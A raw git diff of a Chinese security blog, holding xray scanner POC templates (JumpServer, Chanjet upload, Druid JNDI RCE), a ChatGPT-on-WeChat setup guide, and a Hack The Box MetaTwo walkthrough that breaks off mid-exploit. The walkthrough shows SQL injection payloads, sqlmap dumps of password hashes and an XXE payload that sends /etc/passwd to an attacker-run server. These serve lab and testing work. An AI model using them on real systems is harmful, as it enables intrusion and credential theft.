这是一个JumpServer未授权访问漏洞(CVE-2023-42442)。POC如下:

+

原理很简单,这段代码描述了对服务器响应的检查条件。它要求响应的状态码为200,并且响应体中包含特定的字符串:”count”、”next”、”previous”和”results”。这些条件共同判断了漏洞利用的成功条件。

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
name: poc-yaml-jumpserver-session-replay-unauth
transport: http
rules:
r0:
request:
method: GET
path: /api/v1/terminal/sessions/?limit=1
follow_redirects: false
expression: >-
response.status == 200 &&
response.body_string.contains('"count":') &&
response.body_string.contains('"next":') &&
response.body_string.contains('"previous":') &&
response.body_string.contains('"results":')
expression: r0()
detail:
author: Chaitin
links:
- https://stack.chaitin.com/techblog/detail/156
+ +

执行过程:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
____  ___.________.    ____.   _____.___.
\ \/ /\_ __ \ / _ \ \__ | |
\ / | _ _/ / /_\ \ / | |
/ \ | | \/ | \ \____ |
\___/\ \ |____| /\____|_ / / _____/
\_/ \_/ \_/ \/

Version: 1.9.11/eb0c331d/COMMUNITY

[INFO] 2023-09-21 17:03:17 [default:entry.go:226] Loading config file from config.yaml

Enabled plugins: [phantasm]

[INFO] 2023-09-21 17:03:18 [phantasm:phantasm.go:114] found local poc .\POC\yaml-poc-fit2cloud-jumpserver-unauthorized_access-CVE-2023-42442.yml
[INFO] 2023-09-21 17:03:18 [phantasm:phantasm.go:185] 1 pocs have been loaded (debug level will show more details)
[INFO] 2023-09-21 17:03:18 [default:dispatcher.go:444] processing GET http://example.com/
[Vuln: phantasm]
Target "http://example.com/"
VulnType "poc-yaml-jumpserver-session-replay-unauth/default"
Author "Chaitin"
Links ["https://stack.chaitin.com/techblog/detail/156"]

[*] All pending requests have been scanned
[*] scanned: 1, pending: 0, requestSent: 2, latency: 40.50ms, failedRatio: 0.00%
[INFO] 2023-09-21 17:03:19 [controller:dispatcher.go:573] controller released, task done
+ +

最后,打开html报告查看漏洞详情即可。

+

POC编写指南

如何编写高质量POC:https://docs.xray.cool/#/guide/hiq/summary

+

规则实验室:https://poc.xray.cool/

+

可以通过该工具便捷的生成POC,同时可以使用该工具对POC进行格式检查与查重

+

具体可以查看开发者文档:https://docs.xray.cool/#/guide/README

+ +

社区贡献的POC:https://github.com/chaitin/xray/tree/master/pocs

+

POC示例:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
name: poc-yaml-yonyou-chanjet-file-updoad
manual: true
transport: http
set:
randstr: randomLowercase(60)
rboundary: randomLowercase(8)
randname: randomLowercase(6)
rules:
r0:
request:
cache: true
method: POST
path: /tplus/SM/SetupAccount/Upload.aspx?preload=1
headers:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
body: "\
------WebKitFormBoundary{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"File1\"; filename=\"../../../img/login/{{randname}}.jpg\"\r\n\
Content-Type: image/jpeg\r\n\
\r\n\
{{randstr}}\r\n\
------WebKitFormBoundary{{rboundary}}--\
"
expression: response.status == 200
r1:
request:
cache: true
method: GET
path: /tplus/img/login/{{randname}}.jpg
expression: response.status == 200 && response.body.bcontains(bytes(randstr))
expression: r0() && r1()
detail:
author: Jarcis-cy
links:
- https://weibo.com/ttarticle/x/m/show/id/2309404807909669208397?_wb_client_=1
vulnerability:
id: CT-475791
level: critical
+ + + +
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
name: poc-yaml-apache-druid-kafka-rce
transport: http
set:
reverse: newReverse()
reverseRMI: reverse.rmi
rules:
r0:
request:
method: POST
path: /druid/indexer/v1/sampler?for=connect
follow_redirects: false
headers:
Content-Type: application/json
body: |-
{
"type":"kafka",
"spec":{
"type":"kafka",
"ioConfig":{
"type":"kafka",
"consumerProperties":{
"bootstrap.servers":"6.6.6.6:9092",
"sasl.mechanism":"SCRAM-SHA-256",
"security.protocol":"SASL_SSL",
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"{{reverseRMI}}\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},
"topic":"any",
"useEarliestOffset":true,
"inputFormat":{
"type":"regex",
"pattern":"([\\s\\S]*)",
"listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
"columns":[
"raw"
]
}
},
"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"!!!_no_such_column_!!!",
"missingValue":"1970-01-01T00:00:00Z"
},
"dimensionsSpec":{

},
"granularitySpec":{
"rollup":false
}
},
"tuningConfig":{
"type":"kafka"
}
},
"samplerConfig":{
"numRows":500,
"timeoutMs":15000
}
}
expression: reverse.wait(5)
expression: r0()
detail:
author: chaitin
+ +
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2023/09/23/xray/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2023/11/05/wechatGPT/GPTlogo.jpg b/2023/11/05/wechatGPT/GPTlogo.jpg new file mode 100644 index 000000000..f5ff12c15 Binary files /dev/null and b/2023/11/05/wechatGPT/GPTlogo.jpg differ diff --git a/2023/11/05/wechatGPT/Midjourney.jpg b/2023/11/05/wechatGPT/Midjourney.jpg new file mode 100644 index 000000000..dbf376c12 Binary files /dev/null and b/2023/11/05/wechatGPT/Midjourney.jpg differ diff --git a/2023/11/05/wechatGPT/index.html b/2023/11/05/wechatGPT/index.html new file mode 100644 index 000000000..098a34f43 --- /dev/null +++ b/2023/11/05/wechatGPT/index.html @@ -0,0 +1,288 @@ +ChatGPT 接入微信实践 | h4m5t's Blog + + + + + + + + + + + + + + +

ChatGPT 接入微信实践

ChatGPT 接入微信实践

安装方法

参考:https://github.com/zhayujie/chatgpt-on-wechat

+
1
2
3
4
5
git clone https://github.com/zhayujie/chatgpt-on-wechat
cd chatgpt-on-wechat/

pip3 install -r requirements.txt
pip3 install -r requirements-optional.txt
+ +

修改配置文件:

+
1
2
cp config-template.json config.json
vim config.json
+ +
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
{
"open_ai_api_key": "sk-",
"model": "gpt-3.5-turbo",
"channel_type": "wx",
"open_ai_api_base": "https://api.aiproxy.io/v1",
"proxy": "",
"hot_reload": false,
"single_chat_prefix": [
"bot",
"@bot"
],
"single_chat_reply_prefix": "[bot] ",
"group_chat_prefix": [
"@bot"
],
"group_name_white_list": ["ALL_GROUP"],
"group_chat_in_one_session": [
"ChatGPT测试群"
],
"image_create_prefix": [
"画"
],
"speech_recognition": false,
"group_speech_recognition": false,
"voice_reply_voice": false,
"conversation_max_tokens": 1000,
"expires_in_seconds": 3600,
"character_desc": "你是ChatGPT, 一个由OpenAI训练的大型语言模型, 你旨在回答并解决人们的任何问题,并且可以使用多种语言与人交流。",
"temperature": 0.7,
"top_p": 1,
"subscribe_msg": "感谢您的关注!\n这里是ChatGPT,可以自由对话。\n支持语音对话。\n支持图片输入。\n支持图片输出,画字开头的消息将按要求创作图片。\n支持tool、角色扮演和文字冒险等丰富的插件。\n输入{trigger_prefix}#help 查看详细指令。",
"use_linkai": true,
"linkai_api_base": "https://api.link-ai.tech",
"linkai_api_key": "Link_",
"linkai_app_code": ""
}
+ + + +

API获取

项目默认使用OpenAI接口,需前往 OpenAI注册页面 创建账号,创建完账号则前往 API管理页面 创建一个 API Key 并保存下来,后面需要在项目中配置这个key。接口需要海外网络访问及绑定信用卡支付。

+

或者使用第三方API。

+

比如:https://aiproxy.io/。(消费很多)

+

或者:https://chat.link-ai.tech (推荐,便宜)

+

注意,配置第三方linkai_api之后,无需再配置open_ai_api_key.

+

配置文件如下:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
{
"model": "gpt-3.5-turbo",
"channel_type": "wx",
"proxy": "",
"hot_reload": false,
"single_chat_prefix": [
"bot",
"@bot"
],
"single_chat_reply_prefix": "[bot] ",
"group_chat_prefix": [
"@bot"
],
"group_name_white_list": ["ALL_GROUP"],
"group_chat_in_one_session": [
"ChatGPT测试群"
],
"image_create_prefix": [
"画"
],
"speech_recognition": false,
"group_speech_recognition": false,
"voice_reply_voice": false,
"conversation_max_tokens": 1000,
"expires_in_seconds": 3600,
"character_desc": "你是ChatGPT, 一个由OpenAI训练的大型语言模型, 你旨在回答并解决人们的任何问题,并且可以使用多种语言与人交流。",
"temperature": 0.7,
"top_p": 1,
"subscribe_msg": "感谢您的关注!\n这里是ChatGPT,可以自由对话。\n支持语音对话。\n支持图片输入。\n支持图片输出,画字开头的消息将按要求创作图片。\n支持tool、角色扮演和文字冒险等丰富的插件。\n输入{trigger_prefix}#help 查看详细指令。",
"use_linkai": true,
"linkai_api_base": "https://api.link-ai.tech",
"linkai_api_key": "Link_",
"linkai_app_code": ""
}
+ + + +

常用命令

启动程序

直接启动:python3 app.py

+

后台运行:nohup python3 app.py & tail -f nohup.out

+

日志输出到nohup.out

+

关闭进程

搜索进程并kill

+
1
2
3
ps -ef | grep app.py | grep -v grep

kill -9 加进程号
+ + + +

tool插件

介绍

https://github.com/goldfishh/chatgpt-on-wechat/blob/master/plugins/tool/README.md

+

Tool工具: 与操作系统和互联网交互,支持最新信息搜索、数学计算、天气和资讯查询、网页总结,基于 chatgpt-tool-hub 实现

+

相关API申请方法如下:

+

https://github.com/goldfishh/chatgpt-tool-hub/blob/master/docs/apply_optional_tool.md

+

配置tool插件

进入目录配置:plugins/tool

+

cp config.json.template config.json

+

配置需要开启的插件,有些需要API

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 1 {
2 "tools": [
3 "news",
4 "morning-news",
5 "wikipedia",
6 "python",
7 "url-get",
8 "terminal",
9 "bing-search",
10 "meteo-weather"],
11 "kwargs": {
12 "llm_api_key": "",
13 "proxy": "",
14 "debug": false,
15 "top_k_results": 2,
16 "no_default": false,
17 "model_name": "gpt-3.5-turbo",
18 "news_api_key": "",
19 "bing_subscription_key": "",
20 "morning_news_api_key": ""
21 }
22 }
+ + + +

使用tool插件

#help tool: 查看tool帮助信息,可查看已加载工具列表
$tool 命令: 根据给出的{命令}使用一些可用工具尽力为你得到结果。
$tool reset: 重置工具。

+

插件未启用bug

使用一段时间后,提供插件未启用,排查发现是配置文件自动改为了false.

+

重新修改为true即可。

+

chatgpt-on-wechat/plugins/plugins.json

+
1
2
3
4
19         "tool": {
20 "enabled": true,
21 "priority": 0
22 },
+ + + + + +

知识库平台配置

参考

https://github.com/zhayujie/chatgpt-on-wechat/tree/master/plugins/linkai

+

https://link-ai.tech/platform/link-app/wechat

+

获取API

进入控制台:

+

https://chat.link-ai.tech/console/factory

+

新用户有免费的600积分。

+

我充值了1w积分,生成一张图片需要150积分。

+

配置插件

plugins/linkai 目录下的 config.json.template 配置模板复制为最终生效的 config.json

+

配置项中 group_app_map 部分是用于映射群聊与LinkAI平台上的应用, midjourney 部分是 mj 画图的配置,summary 部分是文档总结及对话功能的配置。三部分的配置相互独立,可按需开启。

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"group_app_map": { # 群聊 和 应用编码 的映射关系
"测试群名称1": "default", # 表示在名称为 "测试群名称1" 的群聊中将使用app_code 为 default 的应用
"测试群名称2": "Kv2fXJcH"
},
"midjourney": {
"enabled": true, # midjourney 绘画开关
"auto_translate": true, # 是否自动将提示词翻译为英文
"img_proxy": true, # 是否对生成的图片使用代理,如果你是国外服务器,将这一项设置为false会获得更快的生成速度
"max_tasks": 3, # 支持同时提交的总任务个数
"max_tasks_per_user": 1, # 支持单个用户同时提交的任务个数
"use_image_create_prefix": true # 是否使用全局的绘画触发词,如果开启将同时支持由`config.json`中的 image_create_prefix 配置触发
},
"summary": {
"enabled": true, # 文档总结和对话功能开关
"group_enabled": true, # 是否支持群聊开启
"max_file_size": 5000 # 文件的大小限制,单位KB,默认为5M,超过该大小直接忽略
}
}
+ + + +

主配置文件

添加下面几行。

+
1
2
3
4
"use_linkai": true,
"linkai_api_key": "",
"linkai_app_code": "", #选填
"linkai_api_base": "https://api.link-ai.chat", # linkAI服务地址,若国内无法访问或延迟较高可改为 https://api.link-ai.tech
+ +

刚开始没有写linkai_api_base,会报错。加入这个参数之后可以正常使用。

+

Midjourney绘图功能

开启之后,艾特机器人,并输入提示词”画”,就会根据要求输出图片。

+

文档总结功能

该功能依赖 LinkAI的知识库及对话功能,需要在项目根目录的config.json中设置 linkai_api_key, 同时根据上述插件配置说明,在插件config.json添加 summary 部分的配置,设置 enabled 为 true。

+

如果不想创建 plugins/linkai/config.json 配置,可以直接通过 $linkai sum open 指令开启该功能。

+

功能开启后,向机器人发送 文件分享链接卡片 即可生成摘要,进一步可以与文件或链接的内容进行多轮对话。

+
    +
  1. 文件目前 支持 txt, docx, pdf, md, csv格式,文件大小由 max_file_size 限制,最大不超过15M,文件字数最多可支持百万字的文件。但不建议上传字数过多的文件,一是token消耗过大,二是摘要很难覆盖到全部内容,只能通过多轮对话来了解细节。
  2. +
  3. 分享链接 目前仅支持 公众号文章,后续会支持更多文章类型及视频链接等
  4. +
  5. 总结及对话的 费用与 LinkAI 3.5-4K 模型的计费方式相同,按文档内容的tokens进行计算
  6. +
+

语音功能

暂时报错,未解决。

+

提示缺少ffmpeg ,安装后发现后台运行会报错,且未解决问题。

+

于是直接关闭语音识别和回复语音的功能。

+
1
2
3
23   "speech_recognition": false,
24 "group_speech_recognition": false,
25 "voice_reply_voice": false,
+ + + +

效果演示

工具列表

tools

+

今日新闻

news

+

操作电脑终端

terminal

+

Midjourney画图

Midjourney

+

Url-Get

urlget

+

生成摘要

zhaiyao

+

总结

花了一整天时间,成功接入微信。效果还是很不错,可以当作群助手,配置tool插件后提供了更强大了功能。

+

比如:

+
1
2
已加载工具列表: 
python, url-get, python, summary, terminal, browser, url-get, wikipedia, arxiv, hello-tool, google-search, wolfram-alpha, debug, answer-user, news-api, finance-news, morning-news, news, bing-search, searxng-search, meteo-weather, morning-news, wikipedia, meteo-weather, terminal
+ +

需要服务器资源,GPT API资源,以及linkai资源以接入Midjourney.使用人数多的话,也是一笔不小的支出。

+

参考

https://www.wangpc.cc/aigc/wechat_com-chatgpt/

+

https://www.zsanjin.de/posts-gpt4api.html

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2023/11/05/wechatGPT/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
\ No newline at end of file diff --git a/2023/11/05/wechatGPT/news.jpg b/2023/11/05/wechatGPT/news.jpg new file mode 100644 index 000000000..993b01deb Binary files /dev/null and b/2023/11/05/wechatGPT/news.jpg differ diff --git a/2023/11/05/wechatGPT/terminal.jpg b/2023/11/05/wechatGPT/terminal.jpg new file mode 100644 index 000000000..97f263f15 Binary files /dev/null and b/2023/11/05/wechatGPT/terminal.jpg differ diff --git a/2023/11/05/wechatGPT/tools.jpg b/2023/11/05/wechatGPT/tools.jpg new file mode 100644 index 000000000..81066e1c9 Binary files /dev/null and b/2023/11/05/wechatGPT/tools.jpg differ diff --git a/2023/11/05/wechatGPT/urlget.jpg b/2023/11/05/wechatGPT/urlget.jpg new file mode 100644 index 000000000..a8918c733 Binary files /dev/null and b/2023/11/05/wechatGPT/urlget.jpg differ diff --git a/2023/11/05/wechatGPT/zhaiyao.jpg b/2023/11/05/wechatGPT/zhaiyao.jpg new file mode 100644 index 000000000..407da9962 Binary files /dev/null and b/2023/11/05/wechatGPT/zhaiyao.jpg differ diff --git a/2024/09/11/HTB_MetaTwo/flag1.png b/2024/09/11/HTB_MetaTwo/flag1.png new file mode 100644 index 000000000..78207913e Binary files /dev/null and b/2024/09/11/HTB_MetaTwo/flag1.png differ diff --git a/2024/09/11/HTB_MetaTwo/index.html b/2024/09/11/HTB_MetaTwo/index.html new file mode 100644 index 000000000..2b9128388 --- /dev/null +++ b/2024/09/11/HTB_MetaTwo/index.html @@ -0,0 +1,366 @@ +HTB_MetaTwo | h4m5t's Blog + + + + + + + + + + + + + +

HTB_MetaTwo

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root@kali)-[/home/h4m5t/Desktop/HTB]
└─# nmap -sV $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-15 14:53 AEST
Stats: 0:02:29 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 14:57 (0:01:15 remaining)
Nmap scan report for 10.129.231.241
Host is up (0.0093s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp?
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 161.02 seconds
+ +

If we go to http://$IP, we are redirected to http://metapress.htb, so we need to add this domain in /etc/hosts

+
1
2
vim /etc/host
$IP metapress.htb
+ +

使用浏览器插件Wappalyzer检查wordpress版本,php版本。

+
1
2
WordPress 5.6.2
PHP 8.0.24
+ +

SQL注入

进入到网站event目录下,检查源码发现bookingpress plugin版本是1.0.10,存在漏洞CVE-2022-0739

+

在网页源码中找到字段_wpnonce对应的值1d0870781e,使用https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357/ POC进行探测。

+
1
2
┌──(root@kali)-[/home/h4m5t/Desktop/HTB]
└─# curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=111) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
+ + + +

返回结果如下:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root@kali)-[/home/h4m5t/Desktop/HTB]
└─# curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=111) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Sun, 15 Sep 2024 05:25:30 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.0.24
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin

[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1","bookingpress_category_id":"Debian 11","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]
+ +

此结果说明确实存在Sql注入漏洞。

+

方法1

使用sqlmap

+
1
2
3
sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data 
"action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&catego
ry_id=123&total_service=111" -p total_service --level=5 --risk=3 --dbs
+ +

扫描结果:

+
1
2
3
4
5
6
7
8
9
10
11
[15:30:38] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.0.24, Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[15:30:38] [INFO] fetching database names
available databases [2]:
[*] blog
[*] information_schema

[15:30:38] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/metapress.htb'

[*] ending @ 15:30:38 /2024-09-15/
+ +

继续:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
┌──(root@kali)-[/home/h4m5t/Desktop/HTB]
└─# sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=111" -p total_service --level=5 --risk=3 -D blog --tables
___
__H__
___ ___["]_____ ___ ___ {1.8.8#stable}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:31:57 /2024-09-15/

[15:31:57] [INFO] resuming back-end DBMS 'mysql'
[15:31:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: total_service (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=-3077) OR 8095=8095-- ISEb

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=111) AND (SELECT 5120 FROM (SELECT(SLEEP(5)))WRSg)-- lhbW

Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=111) UNION ALL SELECT NULL,CONCAT(0x717a767171,0x4253565341777451764c4358734e655958576c53574e484873657447514d6c4365647363534f6255,0x716a627671),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[15:31:57] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.18.0, PHP 8.0.24
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[15:31:57] [INFO] fetching tables for database: 'blog'
Database: blog
[27 tables]
+--------------------------------------+
| wp_bookingpress_appointment_bookings |
| wp_bookingpress_categories |
| wp_bookingpress_customers |
| wp_bookingpress_customers_meta |
| wp_bookingpress_customize_settings |
| wp_bookingpress_debug_payment_log |
| wp_bookingpress_default_daysoff |
| wp_bookingpress_default_workhours |
| wp_bookingpress_entries |
| wp_bookingpress_form_fields |
| wp_bookingpress_notifications |
| wp_bookingpress_payment_logs |
| wp_bookingpress_services |
| wp_bookingpress_servicesmeta |
| wp_bookingpress_settings |
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+--------------------------------------+

[15:31:57] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/metapress.htb'

[*] ending @ 15:31:57 /2024-09-15/
+ +

表wp_users中存放着用户数据信息。对此表进行爆破

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root@kali)-[/home/h4m5t/Desktop/HTB]
└─# sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=111" -p total_service --level=5 --risk=3 -D blog -T wp_users --dump

Database: blog
Table: wp_users
[2 entries]
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| 1 | http://metapress.htb | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. | admin@metapress.htb | admin | 0 | admin | admin | 2022-06-23 17:58:28 | <blank> |
| 2 | <blank> | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 | manager@metapress.htb | manager | 0 | manager | manager | 2022-06-23 18:07:55 | <blank> |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+

[15:38:24] [INFO] table 'blog.wp_users' dumped to CSV file '/root/.local/share/sqlmap/output/metapress.htb/dump/blog/wp_users.csv'
[15:38:24] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/metapress.htb'

[*] ending @ 15:38:24 /2024-09-15/
+ +

得到了用户密码哈希。

+
1
2
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
+ + + + + +

方法2

使用exp: https://github.com/destr4ct/CVE-2022-0739/blob/main/booking-press-expl.py

+

运行,很快就出结果了:

+
1
2
3
4
5
6
7
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# python3 booking-press-expl.py -u http://metapress.htb/ -n 1d0870781e
- BookingPress PoC
-- Got db fingerprint: 10.5.15-MariaDB-0+deb11u1
-- Count of users: 2
|admin|admin@metapress.htb|$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.|
|manager|manager@metapress.htb|$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70|
+ + + +

方法3

msf一把梭:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
msf6 > search bookingpress

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/gather/wp_bookingpress_category_services_sqli 2022-02-28 normal Yes Wordpress BookingPress bookingpress_front_get_category_services SQLi


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/gather/wp_bookingpress_category_services_sqli

msf6 > use 0
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set RHOST metapress.htb
RHOST => metapress.htb
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set TARGETURI /events/
TARGETURI => /events/
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > run
[*] Running module against 10.129.231.241

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Extracting credential information
Wordpress User Credentials
==========================

Username Email Hash
-------- ----- ----
admin admin@metapress.htb $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager manager@metapress.htb $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

[*] Auxiliary module execution completed
+ + + + + +

爆破哈希

将哈希值保存到文件

+
1
2
3
4
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# cat user.hash
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
+ +

使用kali自带工具John The Ripper 对哈希进行爆破

+

爆破结果:

+
1
2
3
4
5
6
7
8
9
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt user.hash
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 128/128 ASIMD 4x2])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
partylikearockstar (manager)
+ +

用户名密码:

+
1
manager:partylikearockstar
+ + + +

利用XXE漏洞获得user_flag

用此密码登陆到默认目录:/wp-admin

+

根据网上查到到的信息,此版本的wordpress存在XXE漏洞CVE-2021-29447

+

https://wpscan.com/wordpress/562/

+

https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5/

+

https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/

+

https://tryhackme.com/r/room/wordpresscve202129447

+

We need two files, payload.wav and evil.dtd .

+
1
2
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.8:8080/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
+ +

Note: Make sure to input the IP of your tun0 interface in the above payload.

+

创建文件evil.dtd

+
1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.8:8080/?p=%file;'>" >
+ + + +

利用python开启http服务器。

+
1
python3 -m http.server 8080
+ + + +

打开网页,向Wordpress Media Library中上传刚才创建的.wav文件

+

上传文件后,我们会在 Web 服务器上收到以下包含 base64 编码数据的请求。

+

upload

+
1
2
3
4
5
6
7
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.129.231.241 - - [15/Sep/2024 16:37:30] "GET /evil.dtd HTTP/1.1" 200 -
